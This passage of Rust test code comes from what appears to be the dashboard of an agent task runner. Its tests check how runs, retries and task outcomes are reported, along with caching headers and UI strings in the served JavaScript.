14044 fn task_ref_carries_the_source_link_for_a_chat_task() {
14045 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
14046 t.source = Source::Agent {
14047 run: "20260904-014455-ab12".to_owned(),
14048 node: "chat".to_owned(),
14049 };
14050 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
14051 let v = serde_json::to_value(&out).expect("json");
14052 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
14053 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
14054 assert_eq!(v["source_label"], t.source.label());
14055
14056 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
14057 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
14058 .expect("json");
14059 assert!(v["source_link"].is_null(), "{v}");
14060 }
14061
14062 #[test]
14063 fn task_view_serializes_source_link() {
14064 let mut t = Task::new(
14065 "t".to_owned(),
14066 "t".to_owned(),
14067 PathBuf::from("/repo"),
14068 Source::Agent {
14069 run: "20260901-000000-aaaa".to_owned(),
14070 node: "implement".to_owned(),
14071 },
14072 );
14073 t.runs.clear();
14074 let v = serde_json::to_value(TaskView::from(t)).expect("json");
14075 assert_eq!(v["source_link"]["kind"], "run", "{v}");
14076 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
14077 }
14078
14079 #[tokio::test]
14080 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
14081 let fx = Fixture::start().await;
14082 let runs = fx.runs();
14083 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14084 write_run(&runs, old, RunStatus::Blocked);
14085 write_run(&runs, new, RunStatus::Merged);
14086 let mut t = outcome_task(&[old, new], TaskStatus::Done);
14087 fx.queue().put(&mut t).expect("put");
14088
14089 let view = fx.get(&format!("/api/runs/{old}")).await.json();
14090 let task = &view["task"];
14091 assert_eq!(task["status"], "done");
14092 assert_eq!(task["is_latest"], false);
14093 assert_eq!(task["latest"]["short"], "bbbb");
14094 assert_eq!(task["finished_by"]["id"], new);
14095 assert_eq!(task["finished_by"]["outcome"], "merged");
14096 assert_eq!(task["closed_by_hand"], false);
14097 assert_eq!(view["status"], "blocked", "the run keeps its own status");
14098 assert!(APP_JS.contains("finished_by"));
14099 assert!(APP_JS.contains("superseded by run"));
14100 }
14101
14102 #[tokio::test]
14103 async fn the_latest_run_reports_a_held_task_without_a_successor() {
14104 let fx = Fixture::start().await;
14105 let runs = fx.runs();
14106 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14107 write_run(&runs, old, RunStatus::Stalled);
14108 write_run(&runs, new, RunStatus::Blocked);
14109 let mut t = outcome_task(&[old, new], TaskStatus::Held);
14110 fx.queue().put(&mut t).expect("put");
14111
14112 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
14113 assert_eq!(task["status"], "held");
14114 assert_eq!(task["is_latest"], true);
14115 assert!(task["latest"].is_null());
14116 assert!(task["finished_by"].is_null());
14117 assert_eq!(task["closed_by_hand"], false);
14118 }
14119
14120 #[tokio::test]
14121 async fn a_direct_run_has_no_task_outcome() {
14122 let fx = Fixture::start().await;
14123 let runs = fx.runs();
14124 let id = "20260901-000000-aaaa";
14125 write_run(&runs, id, RunStatus::Blocked);
14126 let view = fx.get(&format!("/api/runs/{id}")).await.json();
14127 assert!(view["task"].is_null());
14128 }
14129
14130 #[test]
14131 fn task_outcome_does_not_guess_a_finishing_run() {
14132 let a = "20260901-000000-aaaa";
14133 let b = "20260901-000000-bbbb";
14134 let c = "20260901-000000-cccc";
14135 let dir = tempfile::tempdir().expect("tempdir");
14136 write_run(dir.path(), a, RunStatus::Blocked);
14137 write_run(dir.path(), b, RunStatus::VerifiedNoop);
14138 let read = |id: &str| read_run(dir.path(), id).ok();
14140 let t = outcome_task(&[a, b, c], TaskStatus::Done);
14143 let out = task_outcome(&t, a, 3, read);
14144 assert!(out.finished_by.is_none());
14145 assert!(out.closed_by_hand);
14146 let latest = out.latest.expect("latest");
14147 assert_eq!(latest.id, c);
14148 assert_eq!(latest.status, None);
14149 assert_eq!(latest.outcome, "record unreadable");
14150
14151 write_run(dir.path(), c, RunStatus::Ready);
14153 let t = outcome_task(&[a, c], TaskStatus::Done);
14154 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
14155 assert_eq!(out.finished_by.expect("finisher").id, c);
14156 assert!(!out.closed_by_hand);
14157
14158 let t = outcome_task(&[a, b, a], TaskStatus::Held);
14160 assert!(task_outcome(&t, a, 3, read).is_latest);
14161 }
14162
14163 #[tokio::test]
14164 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
14165 let fx = Fixture::start().await;
14170 let q = fx.queue();
14171 let runs = fx.runs();
14172 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
14173 write_run(&runs, first, RunStatus::Blocked);
14174 write_run(&runs, second, RunStatus::Merged);
14175
14176 let mut t = Task::new(
14177 "one task".to_owned(),
14178 "do it".to_owned(),
14179 PathBuf::from("/repo"),
14180 Source::Human,
14181 );
14182 t.runs = vec![first.to_owned(), second.to_owned()];
14183 q.put(&mut t).expect("put");
14184
14185 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
14186 assert_eq!(earlier["superseded_by"], "dddd");
14187 assert_eq!(earlier["latest_attempt"]["id"], second);
14188 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
14189 assert_eq!(
14190 earlier["latest_attempt"]["resolved"], true,
14191 "the run that replaced it landed, so this one reads as settled"
14192 );
14193
14194 let later = fx.get(&format!("/api/runs/{second}")).await.json();
14195 assert!(
14196 later["superseded_by"].is_null(),
14197 "the latest attempt is not superseded by anything"
14198 );
14199 assert!(
14200 later["latest_attempt"].is_null(),
14201 "the latest attempt has no later attempt of its own"
14202 );
14203
14204 assert!(APP_JS.contains("run.latest_attempt"));
14211 assert!(APP_JS.contains("data-superseded"));
14212 assert!(APP_JS.contains("#/runs/${latest.id}"));
14213 }
14214
14215 #[tokio::test]
14216 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
14217 let fx = Fixture::start().await;
14223 let q = fx.queue();
14224 let runs = fx.runs();
14225 let (a, b, c) = (
14226 "20260901-000000-aaaa",
14227 "20260901-000000-bbbb",
14228 "20260901-000000-cccc",
14229 );
14230 write_run(&runs, a, RunStatus::Blocked);
14231 write_run(&runs, b, RunStatus::Blocked);
14232 write_run(&runs, c, RunStatus::Merged);
14233
14234 let mut t = Task::new(
14235 "retried twice".to_owned(),
14236 "do it".to_owned(),
14237 PathBuf::from("/repo"),
14238 Source::Human,
14239 );
14240 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
14241 q.put(&mut t).expect("put");
14242
14243 let view = fx.get(&format!("/api/runs/{a}")).await.json();
14244 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
14245 assert_eq!(
14246 view["latest_attempt"]["id"], c,
14247 "the chain's current head, not the intermediate Blocked retry"
14248 );
14249 assert_eq!(view["latest_attempt"]["resolved"], true);
14250
14251 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
14252 assert_eq!(mid["latest_attempt"]["id"], c);
14253 assert_eq!(mid["latest_attempt"]["resolved"], true);
14254 }
14255
14256 #[tokio::test]
14257 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
14258 let fx = Fixture::start().await;
14259 let q = fx.queue();
14260 let runs = fx.runs();
14261
14262 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
14265 write_run(&runs, still_blocked_a, RunStatus::Blocked);
14266 write_run(&runs, still_blocked_b, RunStatus::Blocked);
14267 let mut t1 = Task::new(
14268 "still stuck".to_owned(),
14269 "do it".to_owned(),
14270 PathBuf::from("/repo"),
14271 Source::Human,
14272 );
14273 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
14274 q.put(&mut t1).expect("put");
14275 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
14276 assert_eq!(view1["latest_attempt"]["resolved"], false);
14277 assert_eq!(view1["latest_attempt"]["status"], "blocked");
14278 assert_eq!(view1["latest_attempt"]["done"], true);
14279
14280 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
14282 write_run(&runs, run_a, RunStatus::Blocked);
14283 write_run(&runs, run_b, RunStatus::Implementing);
14284 let mut t3 = Task::new(
14285 "retrying".to_owned(),
14286 "do it".to_owned(),
14287 PathBuf::from("/repo"),
14288 Source::Human,
14289 );
14290 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
14291 q.put(&mut t3).expect("put");
14292 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
14293 assert_eq!(view3["latest_attempt"]["id"], run_b);
14294 assert_eq!(view3["latest_attempt"]["resolved"], false);
14295 assert_eq!(view3["latest_attempt"]["done"], false);
14296
14297 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
14302 write_run(&runs, noop_a, RunStatus::Blocked);
14303 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
14304 let mut t2 = Task::new(
14305 "claims done".to_owned(),
14306 "do it".to_owned(),
14307 PathBuf::from("/repo"),
14308 Source::Human,
14309 );
14310 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
14311 q.put(&mut t2).expect("put");
14312 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
14313 assert_eq!(
14314 view2["latest_attempt"]["resolved"], false,
14315 "an unverified no-op claim must not read as a confirmed finish"
14316 );
14317
14318 assert!(APP_JS.contains("latest.resolved"));
14321 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
14324 assert!(APP_JS.contains("Latest attempt: "));
14325 assert!(APP_JS.contains("in flight"));
14326 assert!(APP_JS.contains("not resolved"));
14327 }
14328
14329 #[tokio::test]
14330 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
14331 let fx = Fixture::start().await;
14332 let js = fx.get("/app.js").await;
14338 assert_eq!(js.status, 200);
14339 let tag = js
14340 .header("etag")
14341 .expect("an etag to revalidate against")
14342 .to_owned();
14343 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
14344 assert_eq!(
14345 js.header("cache-control"),
14346 Some("no-cache, must-revalidate"),
14347 "the phone has to ask every time"
14348 );
14349
14350 let again = fx
14353 .get_with("/app.js", &[("if-none-match", tag.as_str())])
14354 .await;
14355 assert_eq!(
14356 again.status, 304,
14357 "a deck it already has costs one round trip"
14358 );
14359 assert!(again.body.is_empty(), "304 carries no body");
14360
14361 let weak = fx
14364 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
14365 .await;
14366 assert_eq!(weak.status, 304);
14367 let stale = fx
14368 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
14369 .await;
14370 assert_eq!(stale.status, 200, "an older build must be replaced");
14371 assert!(stale.body.contains("renderRunActions"));
14372 }
14373
14374 #[test]
14375 fn the_task_detail_has_an_actions_fab_and_sheet() {
14376 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
14377 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
14378 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
14379 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
14381 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
14382 assert!(APP_JS.contains("renderTaskActions(task);"));
14384 assert!(APP_JS.contains("renderTaskActions(null);"));
14385 let sheet = APP_JS
14387 .find("function renderTaskActions")
14388 .expect("sheet renderer");
14389 let body = &APP_JS[sheet..sheet + 3000];
14390 assert!(body.contains("changePriority("));
14391 assert!(body.contains("openTaskEdit(task)"));
14392 assert!(body.contains("renderTaskHoldBox(host"));
14393 assert!(body.contains("renderTaskDoneBox(host"));
14394 assert!(body.contains("renderTaskDeleteBox(host"));
14395 assert!(APP_JS.contains("API.priority(id)"));
14396 assert!(APP_JS.contains("API.deleteTask(id)"));
14397 assert!(APP_JS.contains("location.hash = \"#/queue\""));
14399 assert!(APP_JS.contains("$(\"task-actions-error\")"));
14401 }
14402
14403 #[test]
14404 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
14405 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
14406 let actions = INDEX_HTML
14407 .find("id=\"run-actions-box\"")
14408 .expect("actions box");
14409 assert!(task < actions, "the task entry comes first in the sheet");
14410 assert!(APP_JS.contains("renderRunTaskEntry"));
14411 assert!(APP_JS.contains("\"Open task \""));
14412 assert!(APP_JS.contains("started directly, no task"));
14414 assert!(APP_JS.contains("sheet-task-link"));
14415 assert!(APP_JS.contains("task-chip-link"));
14416 }
14417
14418 #[test]
14419 fn the_deck_never_sends_the_operator_to_a_terminal() {
14420 assert!(
14423 !APP_JS.contains("Run `magi fold` first"),
14424 "the deck must offer the fold, not prescribe a shell command"
14425 );
14426 assert!(APP_JS.contains("foldRun:"));
14427 assert!(APP_JS.contains("resumeRun:"));
14428 assert!(APP_JS.contains("renderRunActions"));
14429
14430 assert!(APP_JS.contains("armedFold"));
14432 assert!(APP_JS.contains("Yes, fold worktrees"));
14433
14434 assert!(APP_JS.contains("can no longer be resumed"));
14437 }
14438
14439 #[test]
14440 fn a_finished_run_explains_itself_with_its_own_last_line() {
14441 assert!(
14447 !APP_JS.contains("collapsed on agent quota"),
14448 "a stall must not be explained by a cause the deck did not check"
14449 );
14450 assert!(
14451 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
14452 "and a block must not offer a guess with an `or` in it"
14453 );
14454
14455 assert!(
14459 APP_JS.contains("setText(r.event, run.event || \"\")"),
14460 "the run's last line is rendered unconditionally"
14461 );
14462 assert!(
14463 !APP_JS.contains("moving && run.event"),
14464 "and never gated on the run still moving"
14465 );
14466
14467 assert!(APP_JS.contains("lost to quota"));
14469 }
14470
14471 #[test]
14493 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
14494 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
14495 let shapes_body_start =
14496 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
14497 let shapes_close = APP_JS[shapes_body_start..]
14498 .find("].map(")
14499 .expect("the shape list is closed by its done-computing .map(...)")
14500 + shapes_body_start;
14501 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
14502
14503 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
14504 for entry in shapes_src.split('{').skip(1) {
14505 let waiting = entry.contains("waiting: true");
14506 let dead = entry.contains("live: \"dead\"");
14507 let status_at =
14508 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
14509 let status_end = entry[status_at..]
14510 .find('"')
14511 .expect("the status string is closed")
14512 + status_at;
14513 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
14514 }
14515 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
14516
14517 let done_rule_marker = "done: !";
14521 let done_rule_at = APP_JS[shapes_close..]
14522 .find(done_rule_marker)
14523 .expect("the done rule follows the shape list")
14524 + shapes_close
14525 + done_rule_marker.len();
14526 let includes_at = APP_JS[done_rule_at..]
14527 .find(".includes(shape.status)")
14528 .expect("the done rule ends in .includes(shape.status)")
14529 + done_rule_at;
14530 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
14531 .trim()
14532 .trim_start_matches('[')
14533 .trim_end_matches(']')
14534 .split(',')
14535 .map(|s| s.trim().trim_matches('"'))
14536 .filter(|s| !s.is_empty())
14537 .collect();
14538
14539 let shapes: Vec<(bool, String, bool, bool)> = shapes
14540 .into_iter()
14541 .map(|(waiting, status, dead)| {
14542 let done = !not_done.contains(&status.as_str());
14543 (waiting, status, dead, done)
14544 })
14545 .collect();
14546
14547 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
14551 if waiting {
14552 return "waiting";
14553 }
14554 if dead
14555 && !matches!(
14556 status,
14557 "merged"
14558 | "ready"
14559 | "stalled"
14560 | "blocked"
14561 | "failed"
14562 | "verified_noop"
14563 | "superseded"
14564 | "already_in_base"
14565 )
14566 {
14567 return "stale";
14568 }
14569 match status {
14570 "merged" | "ready" => "landed",
14571 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
14572 | "already_in_base" => "ended",
14573 _ => "flight",
14574 }
14575 }
14576
14577 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
14580 match filter_key {
14581 "active" => !done,
14582 "flight" => !done && !waiting && !dead,
14583 "stale" => !done && !waiting && dead,
14584 "waiting" => waiting,
14585 "done" => done,
14586 "all" => true,
14587 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
14588 }
14589 }
14590
14591 let compatible = |section: &str, filter_key: &str| {
14592 shapes.iter().any(|(waiting, status, dead, done)| {
14593 run_section(*waiting, status, *dead) == section
14594 && filter_matches(filter_key, *waiting, *dead, *done)
14595 })
14596 };
14597
14598 let expected = [
14603 ("waiting", [true, false, false, true, true, true]),
14604 ("stale", [true, false, true, false, false, true]),
14605 ("flight", [true, true, false, false, false, true]),
14606 ("landed", [false, false, false, false, true, true]),
14607 ("ended", [false, false, false, false, true, true]),
14608 ];
14609 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
14610
14611 for (section, wants) in expected {
14612 for (filter_key, want) in filter_keys.iter().zip(wants) {
14613 assert_eq!(
14614 compatible(section, filter_key),
14615 want,
14616 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
14617 );
14618 }
14619 }
14620
14621 assert!(
14624 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
14625 );
14626 assert!(APP_JS.contains(
14627 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
14628 ));
14629 assert!(APP_JS.contains(
14630 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
14631 ));
14632 }
14633
14634 #[tokio::test]
14635 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
14636 let dir = tempfile::tempdir().expect("tempdir");
14640 let explicit = dir.path().join("not-a-checkout");
14641 std::fs::create_dir_all(&explicit).expect("create dir");
14642 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
14643
14644 let missing = dir.path().join("does-not-exist-at-all");
14645 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
14646 }
14647}